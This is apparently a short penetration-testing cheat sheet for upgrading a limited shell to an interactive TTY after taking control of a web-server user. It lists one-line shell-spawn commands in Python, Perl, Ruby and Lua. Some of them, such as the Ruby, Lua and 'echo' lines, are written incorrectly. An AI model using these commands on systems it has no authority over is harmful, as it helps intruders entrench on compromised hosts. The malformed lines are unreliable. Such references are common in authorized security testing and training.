Spawning a TTY Shell

You should almost always upgrade your shell after taking control of an apache or www user. you may encounter limited shells that use bash and only allow you to execute a single command per session. you can overcome this by executing an SSH shell to your local host.

Python:

				
					python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
				
			

Perl:

				
					perl -e 'exec "/bin/sh";'
				
			

Ruby:

				
					ruby: exec "/bin/sh"
				
			

lua:

				
					lua: os.execute('/bin/sh')
				
			

Other Command:

				
					echo os.system('/bin/bash')
/bin/sh -i
				
			

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top